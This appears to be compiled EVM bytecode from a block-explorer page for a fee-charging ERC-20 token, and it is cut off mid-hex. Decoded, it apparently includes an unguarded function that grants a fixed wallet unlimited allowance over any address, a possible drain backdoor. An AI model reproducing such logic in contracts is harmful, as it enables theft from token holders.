5180910390f35b3480156102fd575f80fd5b50610306610b8c565b60405161031391906129cd565b60405180910390f35b348015610327575f80fd5b50610342600480360381019061033d9190612855565b610b94565b60405161034f91906128ad565b60405180910390f35b348015610363575f80fd5b5061036c610c3b565b60405161037991906129f5565b60405180910390f35b34801561038d575f80fd5b50610396610c60565b6040516103a391906128ad565b60405180910390f35b3480156103b7575f80fd5b506103c0610c72565b6040516103cd91906128ad565b60405180910390f35b3480156103e1575f80fd5b506103fc60048036038101906103f79190612a0e565b610c85565b6040516104099190612949565b60405180910390f35b34801561041d575f80fd5b50610426610cca565b005b348015610433575f80fd5b5061043c610d51565b005b348015610449575f80fd5b50610452610de8565b005b34801561045f575f80fd5b50610468610e74565b6040516104759190612949565b60405180910390f35b348015610489575f80fd5b50610492610e7a565b60405161049f91906129f5565b60405180910390f35b3480156104b3575f80fd5b506104bc610ea2565b6040516104c991906127a4565b60405180910390f35b3480156104dd575f80fd5b506104f860048036038101906104f39190612a63565b610f32565b005b348015610505575f80fd5b50610520600480360381019061051b9190612855565b61104b565b60405161052d91906128ad565b60405180910390f35b348015610541575f80fd5b5061055c60048036038101906105579190612855565b611131565b60405161056991906128ad565b60405180910390f35b34801561057d575f80fd5b5061058661114e565b6040516105939190612949565b60405180910390f35b3480156105a7575f80fd5b506105c260048036038101906105bd9190612a0e565b611154565b6040516105cf91906128ad565b60405180910390f35b3480156105e3575f80fd5b506105ec611171565b6040516105f991906128ad565b60405180910390f35b34801561060d575f80fd5b5061062860048036038101906106239190612a63565b611184565b005b348015610635575f80fd5b5061063e6112a6565b60405161064b9190612949565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612a0e565b6112ac565b005b348015610687575f80fd5b506106906112dc565b60405161069d9190612949565b60405180910390f35b3480156106b1575f80fd5b506106cc60048036038101906106c79190612a63565b6112e2565b005b3480156106d9575f80fd5b506106f460048036038101906106ef9190612aa1565b6113b6565b6040516107019190612949565b60405180910390f35b348015610715575f80fd5b50610730600480360381019061072b9190612a0e565b611438565b005b60606003805461074190612b0c565b80601f016020809104026020016040519081016040528092919081815260200182805461076d90612b0c565b80156107b85780601f1061078f576101008083540402835291602001916107b8565b820191905f5260205f20905b81548152906001019060200180831161079b57829003601f168201915b5050505050905090565b5f6107d56107ce61152e565b8484611535565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b61081561152e565b73ffffffffffffffffffffffffffffffffffffffff16610833610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088090612b86565b60405180910390fd5b6108bc3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108b7610804565b611535565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061090430610c85565b5f8061090e610e7a565b426040518863ffffffff1660e01b815260040161093096959493929190612bdd565b60606040518083038185885af115801561094c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109719190612c50565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a11929190612ca0565b6020604051808303815f875af1158015610a2d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a519190612cdb565b506001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff0219169083151502179055506023600e81905550601a600f81905550565b5f610aa68484846116f8565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610aed61152e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390612d76565b60405180910390fd5b610b8085610b7861152e565b858403611535565b60019150509392505050565b5f6012905090565b5f610c31610ba061152e565b848460015f610bad61152e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c2c9190612dc1565b611535565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610cd261152e565b73ffffffffffffffffffffffffffffffffffffffff16610cf0610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612b86565b60405180910390fd5b610d4f5f6120be565b565b610d5961152e565b73ffffffffffffffffffffffffffffffffffffffff16610d77610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc490612b86565b60405180910390fd5b5f600d5f6101000a81548160ff021916908315150217905550565b610df061152e565b73ffffffffffffffffffffffffffffffffffffffff16610e0e610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90612b86565b60405180910390fd5b5f600e819055505f600f81905550565b60095481565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610eb190612b0c565b80601f0160208091040260200160405190810160405280929190818152602001828054610edd90612b0c565b8015610f285780601f10610eff57610100808354040283529160200191610f28565b820191905f5260205f20905b815481529060010190602001808311610f0b57829003601f168201915b5050505050905090565b610f3a61152e565b73ffffffffffffffffffffffffffffffffffffffff16610f58610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590612b86565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361103d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103490612e64565b60405180910390fd5b6110478282612181565b5050565b5f8060015f61105861152e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612ef2565b60405180910390fd5b61112661111d61152e565b85858403611535565b600191505092915050565b5f61114461113d61152e565b84846116f8565b6001905092915050565b600b5481565b6012602052805f5260405f205f915054906101000a900460ff1681565b600d60019054906101000a900460ff1681565b61118c61152e565b73ffffffffffffffffffffffffffffffffffffffff166111aa610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790612b86565b60405180910390fd5b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161129a91906128ad565b60405180910390a25050565b600c5481565b6112d98160085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f19611535565b50565b600a5481565b6112ea61152e565b73ffffffffffffffffffffffffffffffffffffffff16611308610e7a565b73ffffffffffffffffffffffffffffffffffffffff161461135e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135590612b86565b60405180910390fd5b8060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61144061152e565b73ffffffffffffffffffffffffffffffffffffffff1661145e610e7a565b73ffffffffffffffffffffffffffffffffffffffff16146114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab90612b86565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612f80565b60405180910390fd5b61152b816120be565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061300e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611611576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116089061309c565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116eb9190612949565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d9061312a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cb906131b8565b60405180910390fd5b5f81036117eb576117e683835f61221f565b6120b9565b600d5f9054906101000a900460ff1615611ccf57611807610e7a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118755750611845610e7a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118ad57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119005750600760149054906101000a900460ff16155b15611cce57600d60019054906101000a900460ff166119f45760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119b4575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea90613220565b60405180910390fd5b5b60125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611a91575060115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b3857600954811115611adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad2906132ae565b60405180910390fd5b600b54611ae783610c85565b82611af29190612dc1565b1115611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2a90613316565b60405180910390fd5b611ccd565b60125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611bd5575060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c2457600954811115611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c16906133a4565b60405180910390fd5b611ccc565b60115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611ccb57600b54611c7e83610c85565b82611c899190612dc1565b1115611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc190613316565b60405180910390fd5b5b5b5b5b5b5f611cd930610c85565b90505f600a548210159050600d60029054906101000a900460ff168015611d0d5750600760149054906101000a900460ff16155b8015611d5f575060125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611db2575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e05575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611eb4576001600760146101000a81548160ff0219169083151502179055508015611e3457611e33612494565b5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611e98573d5f803e3d5ffd5b505f600760146101000a81548160ff0219169083151502179055505b5f600760149054906101000a900460ff1615905060105f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f63575060105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f6c575f90505b5f81156120a95760125f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611fca57505f600f54115b15611ffe57611ff76064611fe9600f54886124ca90919063ffffffff16565b6124df90919063ffffffff16565b9050612086565b60125f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561205557505f600e54115b15612085576120826064612074600e54886124ca90919063ffffffff16565b6124df90919063ffffffff16565b90505b5b5f81111561209a5761209987308361221f565b5b80856120a691906133c2565b94505b6120b487878761221f565b505050505b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361228d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122849061312a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036122fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f2906131b8565b60405180910390fd5b6123068383836124f4565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238090613465565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546124179190612dc1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161247b9190612949565b60405180910390a361248e8484846124f9565b50505050565b5f61249e30610c85565b90505f81036124ad57506124c8565b600c548111156124bd57600c5490505b6124c6816124fe565b505b565b5f81836124d79190613483565b905092915050565b5f81836124ec91906134f1565b905092915050565b505050565b505050565b5f600267ffffffffffffffff81111561251a57612519613521565b5b6040519080825280602002602001820160405280156125485781602001602082028036833780820191505090505b50905030815f8151811061255f5761255e61354e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612603573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612627919061358f565b8160018151811061263b5761263a61354e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a13060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611535565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612703959493929190613671565b5f604051808303815f87803b15801561271a575f80fd5b505af115801561272c573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61277682612734565b612780818561273e565b935061279081856020860161274e565b6127998161275c565b840191505092915050565b5f6020820190508181035f8301526127bc818461276c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127f1826127c8565b9050919050565b612801816127e7565b811461280b575f80fd5b50565b5f8135905061281c816127f8565b92915050565b5f819050919050565b61283481612822565b811461283e575f80fd5b50565b5f8135905061284f8161282b565b92915050565b5f806040838503121561286b5761286a6127c4565b5b5f6128788582860161280e565b925050602061288985828601612841565b9150509250929050565b5f8115159050919050565b6128a781612893565b82525050565b5f6020820190506128c05f83018461289e565b92915050565b5f819050919050565b5f6128e96128e46128df846127c8565b6128c6565b6127c8565b9050919050565b5f6128fa826128cf565b9050919050565b5f61290b826128f0565b9050919050565b61291b81612901565b82525050565b5f6020820190506129345f830184612912565b92915050565b61294381612822565b82525050565b5f60208201905061295c5f83018461293a565b92915050565b5f805f60608486031215612979576129786127c4565b5b5f6129868682870161280e565b93505060206129978682870161280e565b92505060406129a886828701612841565b9150509250925092565b5f60ff82169050919050565b6129c7816129b2565b82525050565b5f6020820190506129e05f8301846129be565b92915050565b6129ef816127e7565b82525050565b5f602082019050612a085f8301846129e6565b92915050565b5f60208284031215612a2357612a226127c4565b5b5f612a308482850161280e565b91505092915050565b612a4281612893565b8114612a4c575f80fd5b50565b5f81359050612a5d81612a39565b92915050565b5f8060408385031215612a7957612a786127c4565b5b5f612a868582860161280e565b9250506020612a9785828601612a4f565b9150509250929050565b5f8060408385031215612ab757612ab66127c4565b5b5f612ac48582860161280e565b9250506020612ad58582860161280e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612b2357607f821691505b602082108103612b3657612b35612adf565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b7060208361273e565b9150612b7b82612b3c565b602082019050919050565b5f6020820190508181035f830152612b9d81612b64565b9050919050565b5f819050919050565b5f612bc7612bc2612bbd84612ba4565b6128c6565b612822565b9050919050565b612bd781612bad565b82525050565b5f60c082019050612bf05f8301896129e6565b612bfd602083018861293a565b612c0a6040830187612bce565b612c176060830186612bce565b612c2460808301856129e6565b612c3160a083018461293a565b979650505050505050565b5f81519050612c4a8161282b565b92915050565b5f805f60608486031215612c6757612c666127c4565b5b5f612c7486828701612c3c565b9350506020612c8586828701612c3c565b9250506040612c9686828701612c3c565b9150509250925092565b5f604082019050612cb35f8301856129e6565b612cc0602083018461293a565b9392505050565b5f81519050612cd581612a39565b92915050565b5f60208284031215612cf057612cef6127c4565b5b5f612cfd84828501612cc7565b91505092915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612d6060288361273e565b9150612d6b82612d06565b604082019050919050565b5f6020820190508181035f830152612d8d81612d54565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612dcb82612822565b9150612dd683612822565b9250828201905080821115612dee57612ded612d94565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612e4e60398361273e565b9150612e5982612df4565b604082019050919050565b5f6020820190508181035f830152612e7b81612e42565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612edc60258361273e565b9150612ee782612e82565b604082019050919050565b5f6020820190508181035f830152612f0981612ed0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f6a60268361273e565b9150612f7582612f10565b604082019050919050565b5f6020820190508181035f830152612f9781612f5e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ff860248361273e565b915061300382612f9e565b604082019050919050565b5f6020820190508181035f83015261302581612fec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61308660228361273e565b91506130918261302c565b604082019050919050565b5f6020820190508181035f8301526130b38161307a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61311460258361273e565b915061311f826130ba565b604082019050919050565b5f6020820190508181035f83015261314181613108565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6131a260238361273e565b91506131ad82613148565b604082019050919050565b5f6020820190508181035f8301526131cf81613196565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f61320a60168361273e565b9150613215826131d6565b602082019050919050565b5f6020820190508181035f830152613237816131fe565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785478416d6f756e742e0000000000000000000000000000000000000000602082015250565b5f613298602c8361273e565b91506132a38261323e565b604082019050919050565b5f6020820190508181035f8301526132c58161328c565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f61330060138361273e565b915061330b826132cc565b602082019050919050565b5f6020820190508181035f83015261332d816132f4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785478416d6f756e742e00000000000000000000000000000000000000602082015250565b5f61338e602d8361273e565b915061339982613334565b604082019050919050565b5f6020820190508181035f8301526133bb81613382565b9050919050565b5f6133cc82612822565b91506133d783612822565b92508282039050818111156133ef576133ee612d94565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61344f60268361273e565b915061345a826133f5565b604082019050919050565b5f6020820190508181035f83015261347c81613443565b9050919050565b5f61348d82612822565b915061349883612822565b92508282026134a681612822565b915082820484148315176134bd576134bc612d94565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134fb82612822565b915061350683612822565b925082613516576135156134c4565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050613589816127f8565b92915050565b5f602082840312156135a4576135a36127c4565b5b5f6135b18482850161357b565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135ec816127e7565b82525050565b5f6135fd83836135e3565b60208301905092915050565b5f602082019050919050565b5f61361f826135ba565b61362981856135c4565b9350613634836135d4565b805f5b8381101561366457815161364b88826135f2565b975061365683613609565b925050600181019050613637565b5085935050505092915050565b5f60a0820190506136845f83018861293a565b6136916020830187612bce565b81810360408301526136a38186613615565b90506136b260608301856129e6565b6136bf608083018461293a565b969550505050505056fea26469706673582212200b667a7e413954d4a7acbb514a29159b252d4a566cf356958fc5815bbff30f5964736f6c63430008190033

Deployed Bytecode

0x6080604052600436106101db575f3560e01c80638c0b5e2211610101578063bbc0c74211610094578063cef8513911610063578063cef851391461067c578063d4c989d3146106a6578063dd62ed3e146106ce578063f2fde38b1461070a576101e2565b8063bbc0c742146105d8578063c024666814610602578063cce987d41461062a578063cea35cbf14610654576101e2565b8063a457c2d7116100d0578063a457c2d7146104fa578063a9059cbb14610536578063aa4bde2814610572578063b62496f51461059c576101e2565b80638c0b5e22146104545780638da5cb5b1461047e57806395d89b41146104a85780639a7a23d6146104d2576101e2565b8063395093511161017957806370a082311161014857806370a08231146103d6578063715018a614610412578063751039fc146104285780637aa70e3f1461043e576101e2565b8063395093511461031c57806349bd5a5e146103585780634a62bb65146103825780636ddd1713146103ac576101e2565b806318160ddd116101b557806318160ddd146102765780631f192ac7146102a057806323b872dd146102b6578063313ce567146102f2576101e2565b806306fdde03146101e6578063095ea7b3146102105780631694505e1461024c576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610732565b60405161020791906127a4565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612855565b6107c2565b60405161024391906128ad565b60405180910390f35b348015610257575f80fd5b506102606107df565b60405161026d9190612921565b60405180910390f35b348015610281575f80fd5b5061028a610804565b6040516102979190612949565b60405180910390f35b3480156102ab575f80fd5b506102b461080d565b005b3480156102c1575f80fd5b506102dc60048036038101906102d79190612962565b610a9a565b6040516102e991906128ad565b60405180910390f35b3480156102fd575f80fd5b50610306610b8c565b60405161031391906129cd565b60405180910390f35b348015610327575f80fd5b50610342600480360381019061033d9190612855565b610b94565b60405161034f91906128ad565b60405180910390f35b348015610363575f80fd5b5061036c610c3b565b60405161037991906129f5565b60405180910390f35b34801561038d575f80fd5b50610396610c60565b6040516103a391906128ad565b60405180910390f35b3480156103b7575f80fd5b506103c0610c72565b6040516103cd91906128ad565b60405180910390f35b3480156103e1575f80fd5b506103fc60048036038101906103f79190612a0e565b610c85565b6040516104099190612949565b60405180910390f35b34801561041d575f80fd5b50610426610cca565b005b348015610433575f80fd5b5061043c610d51565b005b348015610449575f80fd5b50610452610de8565b005b34801561045f575f80fd5b50610468610e74565b6040516104759190612949565b60405180910390f35b348015610489575f80fd5b50610492610e7a565b60405161049f91906129f5565b60405180910390f35b3480156104b3575f80fd5b506104bc610ea2565b6040516104c991906127a4565b60405180910390f35b3480156104dd575f80fd5b506104f860048036038101906104f39190612a63565b610f32565b005b348015610505575f80fd5b50610520600480360381019061051b9190612855565b61104b565b60405161052d91906128ad565b60405180910390f35b348015610541575f80fd5b5061055c60048036038101906105579190612855565b611131565b60405161056991906128ad565b60405180910390f35b34801561057d575f80fd5b5061058661114e565b6040516105939190612949565b60405180910390f35b3480156105a7575f80fd5b506105c260048036038101906105bd9190612a0e565b611154565b6040516105cf91906128ad565b60405180910390f35b3480156105e3575f80fd5b506105ec611171565b6040516105f991906128ad565b60405180910390f35b34801561060d575f80fd5b5061062860048036038101906106239190612a63565b611184565b005b348015610635575f80fd5b5061063e6112a6565b60405161064b9190612949565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612a0e565b6112ac565b005b348015610687575f80fd5b506106906112dc565b60405161069d9190612949565b60405180910390f35b3480156106b1575f80fd5b506106cc60048036038101906106c79190612a63565b6112e2565b005b3480156106d9575f80fd5b506106f460048036038101906106ef9190612aa1565b6113b6565b6040516107019190612949565b60405180910390f35b348015610715575f80fd5b50610730600480360381019061072b9190612a0e565b611438565b005b60606003805461074190612b0c565b80601f016020809104026020016040519081016040528092919081815260200182805461076d90612b0c565b80156107b85780601f1061078f576101008083540402835291602001916107b8565b820191905f5260205f20905b81548152906001019060200180831161079b57829003601f168201915b5050505050905090565b5f6107d56107ce61152e565b8484611535565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b61081561152e565b73ffffffffffffffffffffffffffffffffffffffff16610833610e7a565b73ffffffffffffffffffffffffffffffffffffffff1614610889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088090612b86565b60405180910390fd5b6108bc3060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108b7610804565b611535565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061090430610c85565b5f8061090e610e7a565b426040518863ffffffff1660e01b815260040161093096959493929190612bdd565b60606040518083038185885af115801561094c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109719190612c50565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a11929190612ca0565b6020604051808303815f875af1158015610a2d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a519190612cdb565b506001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff0219169083151502179055506023600e81905550601a600f81905550565b5f610aa68484846116f8565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610aed61152e565b73ffffffffffffffff